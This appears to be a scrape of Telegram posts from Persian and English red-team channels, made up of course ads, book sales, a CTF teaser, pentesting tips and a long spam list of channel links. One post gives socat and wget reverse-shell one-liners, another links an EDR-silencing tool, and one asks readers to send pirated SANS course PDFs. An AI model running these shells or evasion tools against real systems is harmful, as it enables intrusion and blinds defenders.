5178
Dark World Lovely Red Team
📢 دعوت به همکاری جذب مدرس دوره Python for Pentesters
مجموعه TryHackBox برای برگزاری دوره تخصصی Python for Pentesters از افراد متخصص و باتجربه در زمینه برنامه‌نویسی Python و امنیت سایبری دعوت به همکاری می کند.
هدف این دوره، آموزش کاربردی Python با تمرکز بر نیازهای واقعی متخصصان تست نفوذ و توسعه ابزارهای اختصاصی در حوزه Offensive Security است.
همکاری در طراحی محتوای آموزشی، ضبط و تدریس جلسات و توسعه پروژه های عملی دوره خواهد بود. جزئیات مدل همکاری و شرایط مالی پس از بررسی سوابق مشخص می شود.
📌 سرفصل ها دوره در فایل موجود است .
🥶🥶🥶🥶🥶 🥶🥶🥶🥶🥶
🥶🥶🥶🥶🥶 🥶🥶🥶🥶🥶
🥶🥶🥶🥶🥶 🥶🥶🥶🥶🥶
به مناسبت تولد ادمین به مدت 1 ساعت ورود به کانال ⭕️ رایگانه 👇👇👇
🔗 @VIP_CHANNEL
🔥 سری Bash برای باگ هانترها
قسمت ۲
دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن:
rlwrap -cAr nc -lvnp <port>
یا
rlwrap -f. -r nc -lnvp <port>
socat file:tty,raw,echo=0 tcp-listen:<port>
socat file:$(tty),raw,echo=0 tcp-listen:<port>
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
ps aux | grep socat
Kill -9 socat <PID>
کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟
دوستان بخاطر شرایط ناپایدار مجبورا و ناخواسته مجبور شدیم یک کانال توی بله بالا بیاریم ، برای اینکه از آموزش و خرید کتابهای جدید جا نمونید اگه این بله دارید ما را دنبال کنید فعلا فعالیت همینجاست ولی از جایی که شرایط کشور معلوم نیست چی به چیه احتمال قطعی اینترنت هست .
کانال ما در بله
https://ble.ir/TryHackBox
کانال تلگرام
@TryHackBox
We’re planning to build a specialized cybersecurity and CTF platform.
If any developers are interested in contributing to the project on a voluntary basis in exchange for a share of its future revenue, feel free to message us.
We’d be happy to discuss the project and explore opportunities to collaborate.
@RedTeamKitBot
If anyone has the PDF files for the following courses, please send them:
* SEC537
* SEC487
* SEC587
* SEC617
* SEC580
Please send the files to the ID below:
@LibrarySecOfficialBot
🌐 Web Pentesting | Field Notes - #02
SQL Injection را با SQLmap شروع نکنید
یکی از رایج ترین اشتباه‌ها در تست نفوذ وب این است که پنتستر به یک پارامتر میرسد و بلافاصله ابزار را اجرا می کند؛ منتظر میماند تا SQLmap اعلام کند «Vulnerable».
پیش از آنکه حتی یک ابزار را اجرا کنید، باید دقیقاً بدانید به دنبال چه چیزی هستید.
فرض کنید به این درخواست رسیده‌اید:
GET /products?id=42
We’re building a serious international Red Teaming education initiative, and we’re looking for experienced Red Teamers to join the team.
The goal is not to create another course platform. We want to build practical, high-quality training based on real-world attack methodologies, adversary tradecraft, hands-on scenarios, and the mindset required to operate as a Red Teamer.
Our training will be developed and published in English for a global audience.
If you’re an experienced Red Teamer, penetration tester, or security practitioner and you’re interested in contributing your expertise and helping build something from the ground up, I’d be glad to connect and discuss the project.
If this sounds interesting, send me a message :
@RedTeamKitBot
Red Team Hacking
This course serves as a practical guide for individuals, teams, and entire groups.
It describes various analytical methods and their application at different levels of complexity when addressing challenges in defensive contexts.
The course covers all Red Team attack techniques, including penetration testing, core lateral movement methodologies, persistence, and much more.
Download
@RedTeamVillageRTV
https://x.com/OffensivePwn/status/2103223998326648863
#Privacy
🎙️رادیو زیر پاد - Zero Talk | گفتگوهایی از جنس تجربه
📌 امنیت فقط یاد گرفتن ابزارها و خوندن کتابها نیست.
📌 گاهی یک گفت‌وگو با کسی که این مسیر رو از نزدیک تجربه کرده، میتونه چیزهایی بهت یاد بده که توی هیچ دوره‌ای پیدا نمیکنی.
📌 در Zero Talk درباره مسیر ورود به دنیای امنیت، تجربه‌های واقعی، چالشهای کاری، اشتباهات و چیزهایی صحبت میکنیم که معمولاً کمتر درباره‌شون حرف زده میشه.
⭕ تا امروز ۱۴ قسمت از این گفتگوها منتشر شده.
🎧 شاید بعضی از جواب‌هایی که دنبالشون هستی، توی یکی از همین گفتگوها باشه.
📌 در RadioZeroPod درباره موضوعات مختلف دنیای امنیت صحبت میکنیم؛ از داستان هکرها و پرونده‌های واقعی گرفته تا OSINT، مهندسی اجتماعی،حریم خصوصی، تهدیدات سایبری، هوش مصنوعی و موارد دیگه ... .
📌 رادیو زیرو پاد رو از دست نده.
⚠️ این کانال خصوصی میباشد و عضویت محدود می باشد !
لینک کانال برای 100 نفر
/channel/+Iz9yL_49F1YzYmFk
/channel/+Iz9yL_49F1YzYmFk
/channel/+Iz9yL_49F1YzYmFk
To continue growing the channel and developing our projects, we’re looking for skilled and experienced professionals in Red Teaming.
If you work in Red Teaming and are interested in creating and delivering Red Teaming training content in English, as well as participating in real-world security projects, we’d be glad to hear from you.
If you have solid hands-on experience and technical expertise and are interested in long-term collaboration with a technical security team, feel free to reach out.
@RedTeamKitBot
All books, cheat sheets, and #Course materials were transferred via the following channel:
/channel/+pNaEuYkdeeo4MmI0
🔐 THB CTF Team Qualification : Challenge #01
The Broken Trust
Category: Web Pentesting
Difficulty: 🔴 Hard
Track: TCTQ TryHackBox CTF Team Qualification
📖 Scenario
Trustonic Corp has rolled out a new internal employee portal. HR
records, the department directory, and account settings all live behind a
login wall now and the internal team is confident it's ready for audit.
You've been engaged as an external penetration tester. Start with
nothing but a public registration form, and see how far a normal employee
account can take you.
🎯 Objective: Reach the Administrator control panel and retrieve the flag.
⚙️ How to Run
docker compose up --build
http://localhost:8001
📚 کتابچه Kerberos For Pentesters
📌 یک راهنمای تخصصی برای شناخت Kerberos و نحوه استفاده از آن در تست نفوذ و Red Team محیط‌های Active Directory.
این کتاب از مبانی شروع میکند و تلاش میکند قبل از ورود به تکنیک‌های حمله، ساختار و منطق Kerberos را برای خواننده روشن کند. در ابتدا با تاریخچه و تکامل Kerberos، معماری Kerberos v5 و اجزای اصلی آن آشنا میشوید و سپس نحوه پیاده‌سازی این پروتکل در Active Directory بررسی میشود.
در بخش Active Directory، موضوعاتی مانند نقش Domain Controller به‌عنوان KDC، ارتباط Kerberos با حساب‌های کاربری و سرویس‌ها، TGT و Service Ticket و مکانیزم Pre-authentication مورد بررسی قرار می‌گیرند.
📌 توضیحات تکمیلی
📕 نمونه کتاب
📄 صفحات : ۱۷۷
💰 قیمت اصلی : ۲۶۹,۰۰۰ هزارتومان
🔥 برای ۳ نفر اول : ۱۹۹,۰۰۰ هزارتومان
📌 جهت خرید به ایدی زیر پیام دهید:
@THBxSupport
@KavehOffSec
@TryHackBox
Collection of Beacon Object Files
https://github.com/ajpc500/BOFs
@RedTeamVillageRTV
یادگیری پیشرفته انگلیسی با اخبار VOA
🔻JOIN
کتب صوتی نایاب / زندگینامۀ مشاهیر و...
🔻JOIN
خرید مقاله، سایتیشن و ثبت اختراع
🔻JOIN
آرشیو جامع کتابخانه مجازی
🔻JOIN
اموزش کاریزما و ایده رابطه
🔻JOIN
پادکست رایگان انگلیسی
🔻JOIN
آموزش مقاله نویسی با هوش مصنوعی
🔻JOIN
پکیج های ناب بورسی و موفقیت
🔻JOIN
صفر تا صد🇪🇩🇮🇹با موبایل
🔻JOIN
بانک آگهی های استخدامی
🔻JOIN
۳۰۰ مجموعه کارتون انگلیسی
🔻JOIN
آموزش تکنیک های زبان انگلیسی
🔻JOIN
خود آموزهای زبان انگلیسی
🔻JOIN
موفقیت ، استخدامی ، پول پارو کن
🔻JOIN
آموزش صفر تا صد انگلیسی
🔻JOIN
پکیج های 2027 هم رسید
🔻JOIN
مبتکر یادگیری زبان انگلیسی در منزل
🔻JOIN
ترانہ های ((نوستالژی))
🔻JOIN
استخدام سراسری دانشجویان
🔻JOIN
کتاب های صوتی؛ راز های موفقیت
🔻JOIN
منبع برنامه‌های مود شده اندروید
🔻JOIN
ورزش | سلامتی | باشگاه
🔻JOIN
زبان جذاب و با انیمیشن یاد بگیر
🔻JOIN
پکیج های اموزشی رایگان میخوای
🔻JOIN
استخدام استخدام
🔻JOIN
مرجع کامل آهنگ‌های سه‌بعدی (3D)
🔻JOIN
ادیتــ𝗘𝗱𝗶𝘁ــور شووو فیلترشکن رایگان!
🔻JOIN
کانال داستان ترسناک نیکوتین
🔻JOIN
سیگنال رایگان ارز دیجیتال با سود بالا
🔻JOIN
آموزش 0 تا 100 حسابداری
🔻JOIN
میلیونها کتاب، نمونه سوال و تدریس #رایگان
🔻JOIN
پروژه بگیر، کار پیدا کن، درآمد کسب کن!
🔻JOIN
فیلترشکن ،پکیج ،اخبار
🔻JOIN
انفجار اسپیکینگ و لیسنینگ
🔻JOIN
آموزش طلایی کامپیوتر و موبایل
🔻JOIN
آموزش کامل « دستورات ترموکس »
🔻JOIN
ابر کانال حسابداری و مالیاتی
🔻JOIN
آموزش مفتی سیرتاپیاز هک و امنیت
🔻JOIN
مطالب و جزوه های حسابداری
🔻JOIN
مرجع آموزش تخصصی روابط بین‌الملل
🔻JOIN
کالوکیشنهای کاربردی انگلیسی
🔻JOIN
بانک مقالات، پروپوزال، پایاننامه و رساله
🔻JOIN
کارپاره وقت دانشجویی با حقوق بالا
🔻JOIN
هر ترفندی میخوای رایگان دانلود کن
🔻JOIN
برنامه نویسی رو راحت یاد بگیر
🔻JOIN
اصطلاحات کاربردی انگلیسی
🔻JOIN
اصطلاحات روزمره انگلیسی
🔻JOIN
کانفیگ V2RAYNG و پروکسی نامحدود
🔻JOIN
فول انگلیسی صحبت کن
🔻JOIN
اجتماع بزرگ حقوق خواندگان
🔻JOIN
آموزش مفتی برنامه نویسی 100% رایگان
🔻JOIN
آموزش حسابداری تخصصی
🔻JOIN
منبع تمام بازی های هک شده
🔻JOIN
انگلیسی ۵ دقیقه ای با استاد نیتیو
🔻JOIN
2 ترابایت پکیج پولی رایگان
🔻JOIN
ترکی فولللللللللللللل صبحت کن !!!
🔻JOIN
کتابهای صوتی آرامش با داستان
🔻JOIN
داستانهای مصور صوتی انگلیسی
🔻JOIN
آموزش پایه تا پیشرفته امنیت و هک
🔻JOIN
اموزش جامع انگلیسی برای همه
🔻JOIN
آموزش تخصصی برنامه نویسی برای همه
🔻JOIN
منبع بیو و والپیپرهای خفن
🔻JOIN
اموزش جامع گرامر انگلیسی به فارسی
🔻JOIN
آموزش های ترند هوش مصنوعی + اخبار
🔻JOIN
بانک لایه باز (پست اینستاگرام) رایگان
🔻JOIN
اصلا کتاب نخرین! اینجا مفتی دانلود کنید
🔻JOIN
کلی فیلم امریکایی با دو زیرنویس همزمان
🔻JOIN
گرامر کامل انگلیسی
🔻JOIN
مکالمات انگلیسی با ترجمه و فایل صوتی
🔻JOIN
اطلاعات به روز حقوقی/قضایی
🔻JOIN
پکیج های پولی رو اینجا رایگان دانلود کن
🔻JOIN
نکات کاربردی TOEFL و IELTS
🔻JOIN
کانال حسابداری و آموزش اکسل و مالی
🔻JOIN
اینجا کلی لغت انگلیسی یاد بگیر
🔻JOIN
آموزش هک و امنیت از سطح صفر
🔻JOIN
آموزش سواد مالی و اقتصادی به زبان ساده
🔻JOIN
هنر خوانش و تحلیل متن
🔻JOIN
صفرتاصد هک و امنیت رو قورت بده
🔻JOIN
کسب درامد دلاری فقط اینجا
🔻JOIN
هوش مصنوعی | یادگیری ماشین | علم داده
🔻JOIN
دانلود پکیج های پولی فرادرس (( رایگان ))
🔻JOIN
انگلیسی با فیلم و داستان
🔻JOIN
دنیای کتاب صوتی و PDF
🔻JOIN
دانلود و برسی آثار فاخر سینمای هنری جهان
🔻JOIN
دانلود فول پکیج های پولی رایگان
🔻JOIN
روانشناسی و پزشکی
🔻JOIN
پکیج های اموزشی رایگان میخوای
🔻JOIN
همه کتاب های صوتی و پی دی اف...
🔻JOIN
صفر تا صد هک و امنیت
🔻JOIN
انگلیسی & کوئیز
🔻JOIN
امروز هفتم آبان‌ماه؛ روز بزرگداشت کوروش بزرگه.
ما از سرزمین کوروشیم؛
سرزمینی که تاریخش با شمشیر نوشته نشد، بلکه با تمدن، اندیشه و نام‌هایی ماندگار شد که قرن‌ها بعد هم فراموش نشدند.
کوروش فقط یک نام در تاریخ نیست؛ بخشی از هویت ما، نمادی از شکوه ایران و یادگاری از تمدنی‌ست که نامش از مرزهای زمان گذشت و هنوز در حافظه‌ی جهان زنده است.
ما به گذشته‌مان می‌بالیم، به ریشه‌هایمان افتخار میکنیم و به ایرانی بودنمان سربلندیم. ❤️
❤ Share & Support Us
📰 @BackupLSO
📚 @LibrarySecOfficial
Pass the Hash still works after all these years.
Why? Because it’s part of the Windows authentication architecture and can’t be fully patched.
Instead of cracking the password, you authenticate directly with the NTLM Hash.
1/5
https://x.com/OffensivePwn/status/2110954919846928490
🧩 WINDOWS INTERNALS FIELD NOTES #01
اException Handling فقط برای Crash کردن برنامه نیست
وقتی یک برنامه در Windows با یک Exception مواجه می شود، اولین چیزی که معمولاً به ذهنمان میرسد این است:
«خب، برنامه خطا داد.»
اما از دید یک Reverse Engineer، سؤال مهم‌تر این است:
بعد از رخ دادن Exception، چه چیزی تصمیم میگیرد Execution کجا ادامه پیدا کند؟
اینجا Exception Handling وارد ماجرا میشود.
فرض کن برنامه این دستور را اجرا میکند:
int *ptr = NULL; *ptr = 1337;
طبیعتاً CPU نمی‌تواند این Memory Access را انجام دهد و یک Exception ایجاد میشود.
اما داستان همان‌جا تمام نمیشود.
اWindows Exception را دریافت میکند و وارد یک مسیر مشخص برای پیدا کردن Handler مناسب میشود.
به زبان ساده:
Instruction
↓
Exception
↓
Windows Exception Dispatcher
↓
Exception Handler
↓
Handle / Continue / Terminate
Normal Flow
↓
Instruction
↓
Exception
↓
Handler
↓
Modified Context
↓
Different Execution Flow
📚 مجموعه کتابهای کاربردی در دنیای امنیت
مهارت واقعی با خواندن شروع میشود، اما با تمرین و تجربه ساخته میشود؛ کتابی را انتخاب کن که قدم بعدی تو در مسیر حرفه‌ای شدن باشد.
one of the things many people still misunderstand is Lateral Movement.
It’s how you move inside the network after initial access without coming back from the outside.
Goal? Privilege escalation + discovering new internal assets.
In Windows/AD environments, the main protocols are still SMB and WinRM.
And the key point:
If you’re happy with just initial access, you’ve only done half the job.
Real Lateral Movement starts when you go from Local Admin to Domain Admin without ever coming back in from outside the network.
https://x.com/OffensivePwn/status/2106769875020468596
06 :PORTS 25/465/587
SMTP is used for sending and transferring email
During a pentest check:
https://x.com/OffensivePwn/status/2104993953082696161
most AD breaches still succeed because defenders treat Kerberos tickets like magic instead of artifacts.
Quick brush-up for the four classic techniques every interviewer (and every real attacker) still cares about:
• Kerberoasting (T1558.003)
• Golden Ticket (T1558.001)
• Silver Ticket (T1558.002)
• DCSync (T1003.006)
I’ll break each one down the way I brief junior operators the night before a live engagement. No fluff, just the mechanism, the tell-tale signals, and the response that actually works.
@RedTeamVillageRTV
Hi everyone last week there was a wave of Telegram channel blocks in the OSINT community, and my second channel @osintgit was among those affected. Most channels have already been restored, but mine remains blocked. Please help forward the following message to Telegram support:
The @osintgit channel has been blocked. It contained links to articles, presentations from the author’s conference talks, and publicly available tools related to information security. The channel never published personal data or any other prohibited content. Please unblock this channel and remove the restrictions on.
Friends these days our similar channels are closed by the telegram. I ask you to follow our groups to get us if the channel is closed.
Our Backup Group:
/channel/+8aXBfEf0IJQ5ZmM0
Our chat group:
/channel/+VK05yw7uANY1NTJk
🔄 A New Start
We’ve cleared the previous archive to give this channel a more focused direction moving forward.
From now on, the channel will focus on Red Teaming and Offensive Security, with technical and educational content in English — covering core concepts, techniques, real-world scenarios, attack chains, tools, and practical insights.
The goal is not to simply share tools, but to build a technical resource for people who want to understand how Red Team operations actually work.
New content starts soon.
@RedTeamVillageRTV
EDRSilencer - A tool uses Windows Filtering Platform (WFP) to block Endpoint Detection and Response (EDR) agents from reporting security events to the server.
https://github.com/netero1010/EDRSilencer
@RedTeamVillageRTV
Friends, if you have a job opening or are looking to build a team, feel free to message us. We’ll forward your job/team announcement in the channel.
Please only mention:
Your country
The country you are looking for candidates from
You can also send us your articles, tutorials, and educational content, and we’ll be happy to publish them on the channel.
We don’t want everything to be one-sided, with you simply being a consumer of content. We want this to be a community where everyone can contribute, share knowledge, create opportunities, and grow together.
Thank you!
@RedTeamKitBot